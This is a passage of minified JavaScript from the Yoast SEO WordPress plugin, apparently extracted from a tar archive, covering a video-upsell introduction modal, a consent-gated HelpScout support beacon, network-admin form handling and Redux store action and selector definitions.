yst-bg-white"},a===q&&(0,t.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:c},(0,t.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...s})),a===A&&(0,t.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,t.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},r.status===$&&(0,t.createElement)(o.Spinner,null),r.status!==$&&(0,W.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
(0,W.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,t.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,t.createElement)(o.Button,{type:"button",variant:"secondary",onClick:d,disabled:r.status===$},(0,W.__)("Deny","wordpress-seo")),(0,t.createElement)(o.Button,{type:"button",variant:"primary",onClick:m,disabled:r.status===$},(0,W.__)("Allow","wordpress-seo")))),r.value&&a===B&&(0,t.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===e&&(0,t.createElement)(o.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==e&&(0,t.createElement)("div",{className:`wistia_embed wistia_async_${e} videoFoam=true`}))))};Be.propTypes={videoId:V().string.isRequired,thumbnail:V().shape({src:V().string.isRequired,width:V().string,height:V().string}).isRequired,wistiaEmbedPermission:V().shape({value:V().bool.isRequired,status:V().string.isRequired,set:V().func.isRequired}).isRequired};const je="yoast-seo/introductions",Me=()=>{const e=(0,s.useSelect)((e=>e(je).selectLink("https://yoa.st/ai-fix-assessments-upsell-learn-more")),[]),r=(0,s.useSelect)((e=>e(je).selectLink("https://yoa.st/ai-fix-assessments-upsell")),[]),a=(0,s.useSelect)((e=>e(je).selectImageLink("ai-fix-assessments-thumbnail.png")),[]),i=(0,n.useMemo)((()=>({src:a,width:"432",height:"244"})),[a]),o=(0,s.useSelect)((e=>e(je).selectWistiaEmbedPermissionValue()),[]),l=(0,s.useSelect)((e=>e(je).selectWistiaEmbedPermissionStatus()),[]),{setWistiaEmbedPermission:c}=(0,s.useDispatch)(je),d=(0,n.useMemo)((()=>({value:o,status:l,set:c})),[o,l,c]);return(0,t.createElement)(K,{learnMoreLink:e,upsellLink:r,thumbnail:i,wistiaEmbedPermission:d})};window.YoastSEO=window.YoastSEO||{};const Te=(0,n.createContext)({}),ze=({children:e,initialComponents:r})=>{const[a,i]=(0,n.useState)(r),o=(0,s.useSelect)((e=>e(je).selectIntroductions()),[]),c=(0,n.useCallback)(((e,t)=>{(0,l.find)(o,{id:e})?i((s=>({...s,[e]:t}))):console.error("Warning: Introductions received a registration for an unknown key:",e)}),[o,i]);return(0,n.useEffect)((()=>{window.YoastSEO._registerIntroductionComponent=c}),[c]),(0,t.createElement)(Te.Provider,{value:a},e)};ze.propTypes={children:V().node.isRequired,initialComponents:V().object.isRequired};const Ue=()=>{const e=(0,s.useSelect)((e=>e(je).selectCurrentIntroduction()),[]),r=(0,n.useContext)(Te),a=(0,n.useMemo)((()=>null==r?void 0:r[null==e?void 0:e.id]),[e,r]);return a?(0,t.createElement)(a,null):null},Fe=({children:e})=>{const[s,r]=(0,n.useState)(!0),a=(0,n.useRef)(null),i=(0,n.useCallback)((()=>r(!1)),[]);return(0,t.createElement)(o.Modal,{className:"yst-introduction-modal yst-h-[calc(100vh - 1rem)] sm:yst-h-[calc(100vh - 2rem)] md:yst-h-[calc(100vh - 5rem)]) yst-overflow-y-auto",isOpen:s,onClose:i,initialFocus:a},(0,t.createElement)(o.Modal.Panel,{className:"yst-max-w-lg yst-p-0 yst-rounded-3xl"},e))};Fe.propTypes={children:V().node.isRequired};const Ye="introductions",We=(0,c.createEntityAdapter)({selectId:e=>e.id,sortComparer:(e,t)=>e.priority===t.priority?0:e.priority<t.priority?-1:1}),He=e=>({id:e.id||(0,c.nanoid)(),priority:e.priority||0}),Ve=(0,c.createSlice)({name:Ye,initialState:We.getInitialState({current:0}),reducers:{addIntroduction:{reducer:We.addOne,prepare:e=>({payload:He(e)})},addIntroductions:{reducer:We.addMany,prepare:e=>({payload:(0,l.map)(e,He)})},setIntroductions:{reducer:We.setAll,prepare:e=>({payload:(0,l.map)(e,He)})}}}),De=Ve.getInitialState,Ze=We.getSelectors((e=>(0,l.get)(e,Ye,{}))),Ge={selectCurrentIntroductionIndex:e=>(0,l.get)(e,[Ye,"current"],0),selectIntroduction:Ze.selectById,selectIntroductions:Ze.selectAll};Ge.selectCurrentIntroduction=(0,c.createSelector)([Ge.selectCurrentIntroductionIndex,Ge.selectIntroductions],((e,t)=>t[e]));const Ke=Ve.actions,Je=Ve.reducer,Qe="wpseoIntroductions";a()((()=>{const e=(0,l.get)(window,`${Qe}.introductions`,[]);if((0,l.isEmpty)(e))return;((e={})=>{(0,s.register)((e=>(0,s.createReduxStore)(je,{actions:{...Ke,...h,...N,...U},selectors:{...Ge,...f,...k,...z},initialState:(0,l.merge)({},{[Ye]:De(),[p]:g(),[b]:_(),[j]:T()},e),reducer:(0,s.combineReducers)({[Ye]:Je,[p]:E,[b]:R,[j]:Y}),controls:{...F}}))(e))})({[p]:(0,l.get)(window,`${Qe}.linkParams`,{}),[b]:(0,l.get)(window,`${Qe}.pluginUrl`,""),[j]:{value:"1"===(0,l.get)(window,`${Qe}.wistiaEmbedPermission`,!1)}}),(0,s.dispatch)(je).setIntroductions(e);const r={isRtl:Boolean((0,l.get)(window,`${Qe}.isRtl`,!1))},a={"ai-fix-assessments-upsell":Me},c=document.createElement("div");c.id="wpseo-introductions",document.body.appendChild(c),(0,n.render)((0,t.createElement)(o.Root,{context:r},(0,t.createElement)(ze,{initialComponents:a},(0,t.createElement)(Fe,null,(0,t.createElement)(Ue,null)))),c,(()=>{(0,i.doAction)("yoast.introductions.ready")}))}))})();wordpress-seo/js/dist/help-scout-beacon.js000064400000011566147510273070014624 0ustar00(()=>{"use strict";var e={n:t=>{var n=t&&t.__esModule?()=>t.default:()=>t;return e.d(n,{a:n}),n},d:(t,n)=>{for(var o in n)e.o(n,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:n[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,n=window.wp.element,o=window.yoast.styledComponents;var i=e.n(o);const a=window.wp.i18n,r=o.createGlobalStyle`
	@media only screen and (min-width: 1024px) {
		.BeaconFabButtonFrame.BeaconFabButtonFrame {
			${e=>"1"===e.isRtl?"left":"right"}: 340px !important;
		}
	}
`;function l(e){const t=document.createElement("div");t.setAttribute("id","yoast-helpscout-beacon"),(0,n.render)(e,t),document.body.appendChild(t)}function s(){return!!document.getElementById("sidebar")}function c(e,n=""){!function(e,t){let n=e.Beacon||function(){};function o(){const e=t.getElementsByTagName("script")[0],n=t.createElement("script");n.type="text/javascript",n.async=!0,n.src="https://beacon-v2.helpscout.net",e.parentNode.insertBefore(n,e)}if(e.Beacon=n=function(t,n,o){e.Beacon.readyQueue.push({method:t,options:n,data:o})},n.readyQueue=[],"complete"===t.readyState)return o();e.attachEvent?e.attachEvent("onload",o):e.addEventListener("load",o,!1)}(window,document,window.Beacon),window.Beacon("init",e),function(e){""!==e&&(void 0!==(e=JSON.parse(e)).name&&void 0!==e.email&&(window.Beacon("prefill",{name:e.name,email:e.email}),delete e.name,delete e.email),window.Beacon("session-data",e))}(n),"1"===window.wpseoAdminGlobalL10n.isRtl&&window.Beacon("config",{display:{position:"left"}}),s()&&l((0,t.createElement)(r,{isRtl:window.wpseoAdminGlobalL10n.isRtl}))}window.wpseoHelpScoutBeacon=c,window.wpseoHelpScoutBeaconConsent=function(e,o=null){const d=i().div`
		border-radius: 60px;
		height: 60px;
		position: fixed;
		transform: scale(1);
		width: 60px;
		z-index: 1049;
		bottom: 40px;
		box-shadow: rgba(0, 0, 0, 0.1) 0 4px 7px;
		${e=>"1"===e.isRtl?"left":"right"}: 40px;
		top: auto;
		border-width: initial;
		border-style: none;
		border-color: initial;
		border-image: initial;
		transition: box-shadow 250ms ease 0s, opacity 0.4s ease 0s, scale 1000ms ease-in-out 0s, transform 0.2s ease-in-out 0s;
	`,p=i().span`
		-webkit-box-align: center;
		align-items: center;
		color: white;
		cursor: pointer;
		display: flex;
		height: 100%;
		-webkit-box-pack: center;
		justify-content: center;
		left: 0;
		pointer-events: none;
		position: absolute;
		text-indent: -99999px;
		top: 0;
		width: 60px;
		will-change: opacity, transform;
		opacity: 1 !important;
		transform: rotate(0deg) scale(1) !important;
		transition: opacity 80ms linear 0s, transform 160ms linear 0s;
	`,w=()=>(0,t.createElement)(p,null,(0,t.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:"52",height:"52"},(0,t.createElement)("path",{d:"M27.031 32h-2.488v-2.046c0-.635.077-1.21.232-1.72.154-.513.366-.972.639-1.381.272-.41.58-.779.923-1.109.345-.328.694-.652 1.049-.97l.995-.854a6.432 6.432 0 0 0 1.475-1.568c.39-.59.585-1.329.585-2.216 0-.635-.117-1.203-.355-1.703a3.7 3.7 0 0 0-.96-1.263 4.305 4.305 0 0 0-1.401-.783A5.324 5.324 0 0 0 26 16.114c-1.28 0-2.316.375-3.11 1.124-.795.75-1.286 1.705-1.475 2.865L19 19.693c.356-1.772 1.166-3.165 2.434-4.176C22.701 14.507 24.26 14 26.107 14c.947 0 1.842.131 2.682.392.84.262 1.57.648 2.185 1.16a5.652 5.652 0 0 1 1.475 1.892c.368.75.551 1.602.551 2.556 0 .728-.083 1.364-.248 1.909a5.315 5.315 0 0 1-.693 1.467 6.276 6.276 0 0 1-1.048 1.176c-.403.351-.83.71-1.28 1.073-.498.387-.918.738-1.26 1.057a4.698 4.698 0 0 0-.836 1.006 3.847 3.847 0 0 0-.462 1.176c-.095.432-.142.955-.142 1.568V32zM26 37a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3z",fill:"#FFF"}))),m=i().button`
		-webkit-appearance: none;
		-webkit-box-align: center;
		align-items: center;
		bottom: 0;
		display: block;
		height: 60px;
		-webkit-box-pack: center;
		justify-content: center;
		line-height: 60px;
		position: relative;
		user-select: none;
		z-index: 899;
		background-color: rgb(164, 40, 106);
		color: white;
		cursor: pointer;
		min-width: 60px;
		-webkit-tap-highlight-color: transparent;
		border-radius: 200px;
		margin: 0;
		outline: none;
		padding: 0;
		border-width: initial;
		border-style: none;
		border-color: initial;
		border-image: initial;
		transition: background-color 200ms linear 0s, transform 200ms linear 0s;
	`;l((0,t.createElement)((()=>{const[i,l]=(0,n.useState)(!0),p=s();return(0,t.createElement)(n.Fragment,null,p&&(0,t.createElement)(r,{isRtl:window.wpseoAdminGlobalL10n.isRtl}),i&&(0,t.createElement)(d,{className:p?"BeaconFabButtonFrame":"",isRtl:window.wpseoAdminGlobalL10n.isRtl},(0,t.createElement)(m,{type:"button",onClick:function(){const t=(0,a.__)("When you click OK we will open our HelpScout beacon where you can find answers to your questions. This beacon will load our support data and also potentially set cookies.","wordpress-seo");window.confirm(t)&&(c(e,o),window.Beacon("open"),window.setTimeout((()=>{l(!1)}),1e3))}},(0,t.createElement)(w,null))))}),null))}})();wordpress-seo/js/dist/network-admin.js000064400000004420147510273070014062 0ustar00(()=>{var e={2322:e=>{var t,n,a="",r=function(e){e=e||"polite";var t=document.createElement("div");return t.id="a11y-speak-"+e,t.className="a11y-speak-region",t.setAttribute("style","clip: rect(1px, 1px, 1px, 1px); position: absolute; height: 1px; width: 1px; overflow: hidden; word-wrap: normal;"),t.setAttribute("aria-live",e),t.setAttribute("aria-relevant","additions text"),t.setAttribute("aria-atomic","true"),document.querySelector("body").appendChild(t),t};!function(e){if("complete"===document.readyState||"loading"!==document.readyState&&!document.documentElement.doScroll)return e();document.addEventListener("DOMContentLoaded",e)}((function(){t=document.getElementById("a11y-speak-polite"),n=document.getElementById("a11y-speak-assertive"),null===t&&(t=r("polite")),null===n&&(n=r("assertive"))})),e.exports=function(e,r){!function(){for(var e=document.querySelectorAll(".a11y-speak-region"),t=0;t<e.length;t++)e[t].textContent=""}(),e=e.replace(/<[^<>]+>/g," "),a===e&&(e+=" "),a=e,n&&"assertive"===r?n.textContent=e:t&&(t.textContent=e)}}},t={};function n(a){var r=t[a];if(void 0!==r)return r.exports;var o=t[a]={exports:{}};return e[a](o,o.exports,n),o.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var a in t)n.o(t,a)&&!n.o(e,a)&&Object.defineProperty(e,a,{enumerable:!0,get:t[a]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";var e=n(2322),t=n.n(e);const a=window.jQuery;!function(e){function n(n){var a,r,o=e(".wrap > h1");n.length&&(a=n.map((function(e){return"<div class='"+e.type+" notice'><p>"+e.message+"</p></div>"})),o.after(a.join("")),r=wpseoNetworkAdminGlobalL10n.error_prefix,"updated"===n[0].type&&(r=wpseoNetworkAdminGlobalL10n.success_prefix),t()(r.replace("%s",n[0].message),"assertive"))}function a(t){var a=e(this),r=a.find("[type='submit']:focus"),o=a.serialize();return t.preventDefault(),e(".wrap > .notice").remove(),r.length||(r=e(".wpseotab.active [type='submit']")),"action"===r.attr("name")&&(o=o.replace(/action=([a-zA-Z0-9_]+)/,"action="+r.val())),e.ajax({type:"POST",url:ajaxurl,data:o}).done((function(e){e.data&&n(e.data)})).fail((function(e){var t=e.responseJSON;t&&t.data&&n(t.data)})),!1}e(document).ready((function(){var t=e("#wpseo-conf");t.length&&t.on("submit",a)}))}(n.n(a)())})()})();wordpress-seo/js/dist/externals-redux.js000064400000154462147510273070014451 0ustar00(()=>{"use strict";var e={n:t=>{var r=t&&t.__esModule?()=>t.default:()=>t;return e.d(r,{a:r}),r},d:(t,r)=>{for(var n in r)e.o(r,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{ADD_CHECKLIST:()=>Ee,CHANGE_COUNTRY:()=>Mt,CLEAR_FACEBOOK_IMAGE:()=>Kr,CLEAR_TWITTER_IMAGE:()=>Pr,CLOSE_EDITOR_MODAL:()=>et,CUSTOM_FIELD_RESULTS:()=>ar,DISMISS_ALERT:()=>pt,DISMISS_ALERT_SUCCESS:()=>Et,FIND_CUSTOM_FIELDS:()=>sr,GET_SCHEMA_ARTICLE_DATA:()=>Rt,GET_SCHEMA_PAGE_DATA:()=>At,HIDE_REPLACEMENT_VARIABLES:()=>lr,LOAD_ADVANCED_SETTINGS:()=>ee,LOAD_CORNERSTONE_CONTENT:()=>ke,LOAD_ESTIMATED_READING_TIME:()=>L,LOAD_FACEBOOK_PREVIEW:()=>Br,LOAD_FOCUS_KEYWORD:()=>it,LOAD_SNIPPET_EDITOR_DATA:()=>Er,LOAD_TWITTER_PREVIEW:()=>vr,MODAL_DISMISS:()=>Pt,MODAL_OPEN:()=>vt,MODAL_OPEN_NO_KEYPHRASE:()=>bt,NEW_REQUEST:()=>Ft,NO_DATA_FOUND:()=>Kt,OPEN_EDITOR_MODAL:()=>Ze,REFRESH:()=>dr,REMOVE_REPLACEMENT_VARIABLE:()=>ur,RUN_ANALYSIS:()=>ce,SET_ACTIVE_AI_FIXES_BUTTON:()=>V,SET_ACTIVE_MARKER:()=>H,SET_ADVANCED:()=>z,SET_ARTICLE_TYPE:()=>It,SET_BREADCRUMBS_TITLE:()=>J,SET_CANONICAL_URL:()=>Z,SET_CONTENT_IMAGE:()=>Qt,SET_CORNERSTONE_CONTENT:()=>We,SET_CURRENT_PROMOTIONS:()=>xe,SET_DISABLED_AI_FIXES_BUTTONS:()=>q,SET_DISMISSED_ALERTS:()=>gt,SET_EDITOR_DATA_CONTENT:()=>Ge,SET_EDITOR_DATA_EXCERPT:()=>qe,SET_EDITOR_DATA_IMAGE_URL:()=>Ye,SET_EDITOR_DATA_SLUG:()=>je,SET_EDITOR_DATA_TITLE:()=>Ve,SET_ESTIMATED_READING_TIME:()=>N,SET_FACEBOOK_DESCRIPTION:()=>Wr,SET_FACEBOOK_IMAGE:()=>Fr,SET_FACEBOOK_TITLE:()=>Ur,SET_FLESCH_READING_EASE:()=>M,SET_FOCUS_KEYWORD:()=>st,SET_IS_PREMIUM:()=>hn,SET_LOGIN_STATUS:()=>Bt,SET_MARKER_PAUSE_STATUS:()=>ut,SET_MARKER_STATUS:()=>ct,SET_NO_FOLLOW:()=>X,SET_NO_INDEX:()=>Q,SET_PAGE_TYPE:()=>wt,SET_POST_ID:()=>Dn,SET_PRIMARY_TAXONOMY:()=>St,SET_PROMINENT_WORDS:()=>k,SET_REQUEST_FAILED:()=>Ut,SET_REQUEST_LIMIT_REACHED:()=>Wt,SET_REQUEST_SUCCEEDED:()=>kt,SET_SETTINGS:()=>$t,SET_SHOPPING_DATA:()=>er,SET_TEXT_LENGTH:()=>U,SET_TWITTER_DESCRIPTION:()=>Dr,SET_TWITTER_IMAGE:()=>Or,SET_TWITTER_TITLE:()=>fr,SET_WARNING_MESSAGE:()=>Yr,SWITCH_MODE:()=>nr,TOGGLE_CORNERSTONE_CONTENT:()=>Ue,UPDATE_DATA:()=>ir,UPDATE_REPLACEMENT_VARIABLE:()=>or,UPDATE_REPLACEMENT_VARIABLES_BATCH:()=>cr,UPDATE_SETTINGS:()=>Xt,UPDATE_SHORTCODES_FOR_PARSING:()=>le,UPDATE_SNIPPET_DATA:()=>oe,UPDATE_WORDS_TO_HIGHLIGHT:()=>pr,WINCHER_MODAL_DISMISS:()=>$r,WINCHER_MODAL_OPEN:()=>Qr,WINCHER_MODAL_OPEN_NO_KEYPHRASE:()=>Xr,WINCHER_NEW_REQUEST:()=>nn,WINCHER_SET_AUTOMATICALLY_TRACK_ALL_REQUEST:()=>on,WINCHER_SET_KEYPHRASE_LIMIT_REACHED:()=>rn,WINCHER_SET_LOGIN_STATUS:()=>sn,WINCHER_SET_REQUEST_FAILED:()=>tn,WINCHER_SET_REQUEST_SUCCEEDED:()=>en,WINCHER_SET_SEO_PERFORMANCE_TRACKED_KEYPHRASES:()=>yn,WINCHER_SET_SEO_PERFORMANCE_TRACKING_FOR_KEYPHRASE:()=>Sn,WINCHER_SET_TRACK_ALL_REQUEST:()=>an,WINCHER_SET_WEBSITE_ID:()=>mn,WINCHER_UNSET_SEO_PERFORMANCE_TRACKING_FOR_KEYPHRASE:()=>Tn,addChecklist:()=>ge,clearFacebookPreviewImage:()=>Vr,clearTwitterPreviewImage:()=>Lr,closeEditorModal:()=>rt,dismissAlert:()=>mt,findCustomFields:()=>_r,getSchemaArticleData:()=>Ot,getSchemaPageData:()=>Dt,hideReplacementVariables:()=>Ar,loadAdvancedSettingsData:()=>ae,loadCornerstoneContent:()=>Fe,loadEstimatedReadingTime:()=>F,loadFacebookPreviewData:()=>qr,loadFocusKeyword:()=>at,loadTwitterPreviewData:()=>Mr,openEditorModal:()=>tt,refreshSnippetEditor:()=>Ir,removeReplacementVariable:()=>wr,runAnalysis:()=>de,setActiveAIFixesButton:()=>Y,setActiveMarker:()=>G,setAdminUrl:()=>Pn,setAdvanced:()=>ne,setArticleType:()=>ft,setBreadcrumbsTitle:()=>ie,setCanonical:()=>se,setContentImage:()=>Jt,setCornerstoneContent:()=>Ke,setCurrentPromotions:()=>He,setDisabledAIFixesButtons:()=>j,setDismissedAlerts:()=>_t,setEditorDataContent:()=>$e,setEditorDataExcerpt:()=>Xe,setEditorDataImageUrl:()=>ze,setEditorDataSlug:()=>Je,setEditorDataTitle:()=>Qe,setEstimatedReadingTime:()=>W,setFacebookPreviewDescription:()=>Hr,setFacebookPreviewImage:()=>Gr,setFacebookPreviewTitle:()=>xr,setFleschReadingEase:()=>K,setFocusKeyword:()=>ot,setInclusiveLanguageResults:()=>be,setIsPremium:()=>fn,setLinkParams:()=>vn,setMarkerPauseStatus:()=>dt,setMarkerStatus:()=>lt,setNoFollow:()=>re,setNoIndex:()=>te,setOverallInclusiveLanguageScore:()=>Le,setOverallReadabilityScore:()=>Ce,setOverallSeoScore:()=>Ne,setPageType:()=>ht,setPluginUrl:()=>bn,setPostId:()=>On,setPrimaryTaxonomyId:()=>Tt,setProminentWords:()=>B,setReadabilityResults:()=>ve,setSEMrushChangeCountry:()=>qt,setSEMrushDismissModal:()=>Ct,setSEMrushLoginStatus:()=>jt,setSEMrushNewRequest:()=>xt,setSEMrushNoKeyphraseMessage:()=>Lt,setSEMrushNoResultsFound:()=>Yt,setSEMrushOpenModal:()=>Nt,setSEMrushRequestFailed:()=>Gt,setSEMrushRequestSucceeded:()=>Ht,setSEMrushSetRequestLimitReached:()=>Vt,setSeoResultsForKeyword:()=>Pe,setSettings:()=>zt,setShoppingData:()=>tr,setTextLength:()=>x,setTwitterPreviewDescription:()=>Cr,setTwitterPreviewImage:()=>Nr,setTwitterPreviewTitle:()=>br,setWarningMessage:()=>jr,setWincherAutomaticKeyphaseTracking:()=>gn,setWincherDismissModal:()=>zr,setWincherLoginStatus:()=>pn,setWincherNewRequest:()=>cn,setWincherNoKeyphrase:()=>Zr,setWincherOpenModal:()=>Jr,setWincherRequestFailed:()=>un,setWincherRequestSucceeded:()=>ln,setWincherSetKeyphraseLimitReached:()=>dn,setWincherTrackAllKeyphrases:()=>En,setWincherTrackedKeyphrases:()=>Rn,setWincherTrackingForKeyphrase:()=>In,setWincherWebsiteId:()=>wn,setWistiaEmbedPermission:()=>Cn,setWistiaEmbedPermissionValue:()=>Nn,switchMode:()=>gr,toggleCornerstoneContent:()=>Be,unsetWincherTrackingForKeyphrase:()=>An,updateAnalysisData:()=>ue,updateData:()=>mr,updateReplacementVariable:()=>Sr,updateReplacementVariablesBatch:()=>Tr,updateSettings:()=>Zt,updateShortcodesForParsing:()=>pe,updateWordsToHighlight:()=>yr});var r={};e.r(r),e.d(r,{getActiveAIFixesButton:()=>hi,getActiveMarker:()=>js,getAdvanced:()=>Pi,getAnalysisData:()=>Rs,getAnalysisTimestamp:()=>Is,getArticleType:()=>Ta,getBaseUrlFromSettings:()=>rs,getBreadcrumbsTitle:()=>vi,getCanonical:()=>bi,getChecklistItems:()=>fs,getContentImage:()=>Ps,getContentLocale:()=>Vi,getDateFromSettings:()=>ns,getDefaultArticleType:()=>Sa,getDefaultPageType:()=>ma,getDescription:()=>ys,getDisabledAIFixesButtons:()=>fi,getEditorContext:()=>Mi,getEditorDataContent:()=>Yi,getEditorDataExcerpt:()=>$i,getEditorDataExcerptWithFallback:()=>Qi,getEditorDataImageFallback:()=>zi,getEditorDataImageUrl:()=>Xi,getEditorDataSlug:()=>Ji,getEditorDataTitle:()=>ji,getEditorType:()=>Gi,getEstimatedReadingTime:()=>Ti,getFacebookAltText:()=>xs,getFacebookDescription:()=>Fs,getFacebookDescriptionFallback:()=>qs,getFacebookDescriptionOrFallback:()=>Ys,getFacebookImageSrc:()=>Bs,getFacebookImageUrl:()=>Ks,getFacebookTitle:()=>Ws,getFacebookTitleFallback:()=>Gs,getFacebookTitleOrFallback:()=>Vs,getFacebookWarnings:()=>Hs,getFleschReadingEaseDifficulty:()=>wi,getFleschReadingEaseScore:()=>yi,getFocusKeyphrase:()=>Zi,getFocusKeyphraseErrors:()=>es,getImageFallback:()=>vs,getInclusiveLanguageResults:()=>da,getIsBlockEditor:()=>Fi,getIsDraft:()=>Hi,getIsElementorEditor:()=>Ki,getIsFrontPage:()=>Bi,getIsKeywordAnalysisActive:()=>ea,getIsLoading:()=>Ci,getIsModalOpen:()=>Os,getIsPremium:()=>so,getIsProduct:()=>Ui,getIsProductTerm:()=>Wi,getIsTerm:()=>xi,getIsWooCommerceActive:()=>ta,getIsWooSeoActive:()=>ra,getIsWooSeoUpsell:()=>na,getIsWooSeoUpsellTerm:()=>ia,getMarkButtonStatus:()=>ga,getMarkerPauseStatus:()=>$s,getMarksButtonStatus:()=>Xs,getNoFollow:()=>Oi,getNoIndex:()=>Di,getPageType:()=>_a,getPermalink:()=>ws,getPostId:()=>ao,getPostOrPageString:()=>ki,getPreference:()=>Js,getPreferences:()=>Zs,getPrimaryTaxonomyId:()=>sa,getReadabilityResults:()=>ua,getRecommendedReplaceVars:()=>is,getReplaceVars:()=>as,getReplacedExcerpt:()=>Us,getResultById:()=>Ea,getResultsForFocusKeyword:()=>pa,getResultsForKeyword:()=>la,getSEMrushIsRequestPending:()=>Ia,getSEMrushLoginStatus:()=>Pa,getSEMrushModalOpen:()=>ya,getSEMrushNoKeyphraseMessage:()=>wa,getSEMrushRequestHasData:()=>Oa,getSEMrushRequestIsSuccess:()=>Aa,getSEMrushRequestKeyphrase:()=>fa,getSEMrushRequestLimitReached:()=>ha,getSEMrushRequestResponse:()=>Ra,getSEMrushSelectedCountry:()=>Da,getSeoDescriptionTemplate:()=>Ms,getSeoResults:()=>ca,getSeoTitle:()=>Ts,getSeoTitleTemplate:()=>Cs,getSeoTitleTemplateNoFallback:()=>Ns,getShoppingData:()=>va,getShortcodesForParsing:()=>As,getSiteIconUrlFromSettings:()=>ss,getSiteName:()=>ts,getSiteUrl:()=>bs,getSnippetEditorData:()=>gs,getSnippetEditorDescription:()=>ds,getSnippetEditorDescriptionWithTemplate:()=>ps,getSnippetEditorIsLoading:()=>_s,getSnippetEditorMode:()=>cs,getSnippetEditorPreviewImageUrl:()=>Ss,getSnippetEditorSlug:()=>Es,getSnippetEditorTemplates:()=>os,getSnippetEditorTitle:()=>ls,getSnippetEditorTitleWithTemplate:()=>us,getSnippetEditorWordsToHighlight:()=>ms,getSocialDescriptionTemplate:()=>ks,getSocialTitleTemplate:()=>Ls,getTextLength:()=>Ai,getTwitterAltText:()=>ka,getTwitterDescription:()=>Ca,getTwitterDescriptionFallback:()=>Ka,getTwitterDescriptionOrFallback:()=>Ba,getTwitterImageSrc:()=>Ma,getTwitterImageType:()=>La,getTwitterImageUrl:()=>Na,getTwitterTitle:()=>ba,getTwitterTitleFallback:()=>Wa,getTwitterTitleOrFallback:()=>Fa,getTwitterWarnings:()=>Ua,getWarningMessage:()=>xa,getWincherAllKeyphrasesMissRanking:()=>no,getWincherHistoryDaysLimit:()=>Xa,getWincherKeyphraseLimitReached:()=>Ya,getWincherLimit:()=>Qa,getWincherLoginStatus:()=>ja,getWincherModalOpen:()=>Ha,getWincherPermalink:()=>io,getWincherRequestIsSuccess:()=>Va,getWincherRequestResponse:()=>qa,getWincherTrackableKeyphrases:()=>ro,getWincherTrackedKeyphrases:()=>eo,getWincherWebsiteId:()=>Za,hasWincherNoKeyphrase:()=>Ga,hasWincherTrackedKeyphrases:()=>to,isAlertDismissed:()=>zs,isCornerstoneContent:()=>hs,isFleschReadingEaseAvailable:()=>Ii,isFormalitySupported:()=>Ri,isMarkingAvailable:()=>Qs,isPromotionActive:()=>Ds,isWincherNewlyAuthenticated:()=>$a,selectAdminLink:()=>co,selectAdminUrl:()=>oo,selectImageLink:()=>go,selectLink:()=>po,selectLinkParam:()=>uo,selectLinkParams:()=>lo,selectPluginUrl:()=>Eo,selectWistiaEmbedPermission:()=>mo,selectWistiaEmbedPermissionError:()=>To,selectWistiaEmbedPermissionStatus:()=>So,selectWistiaEmbedPermissionValue:()=>_o,shouldWincherAutomaticallyTrackAll:()=>Ja,shouldWincherTrackAll:()=>za});const n=window.yoast.reduxJsToolkit,i=window.lodash,s="adminUrl",a=(0,n.createSlice)({name:s,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),o=(a.getInitialState,{selectAdminUrl:e=>(0,i.get)(e,s,"")});o.selectAdminLink=(0,n.createSelector)([o.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}}));const c=a.actions,l=a.reducer,u=window.wp.url,d="linkParams",p=(0,n.createSlice)({name:d,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),E=(p.getInitialState,{selectLinkParam:(e,t,r={})=>(0,i.get)(e,`${d}.${t}`,r),selectLinkParams:e=>(0,i.get)(e,d,{})});E.selectLink=(0,n.createSelector)([E.selectLinkParams,(e,t)=>t,(e,t,r={})=>r],((e,t,r)=>(0,u.addQueryArgs)(t,{...e,...r})));const g=p.actions,m=p.reducer,_=(0,n.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:r="default",title:i,description:s})=>({payload:{id:e||(0,n.nanoid)(),variant:t,size:r,title:i||"",description:s}})},removeNotification:(e,{payload:t})=>(0,i.omit)(e,t)}}),S=(_.getInitialState,_.actions,_.reducer,"pluginUrl"),T=(0,n.createSlice)({name:S,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),y=(T.getInitialState,{selectPluginUrl:e=>(0,i.get)(e,S,"")});y.selectImageLink=(0,n.createSelector)([y.selectPluginUrl,(e,t,r="images")=>r,(e,t)=>t],((e,t,r)=>[(0,i.trimEnd)(e,"/"),(0,i.trim)(t,"/"),(0,i.trimStart)(r,"/")].join("/")));const w=T.actions,I=T.reducer;window.wp.apiFetch;const 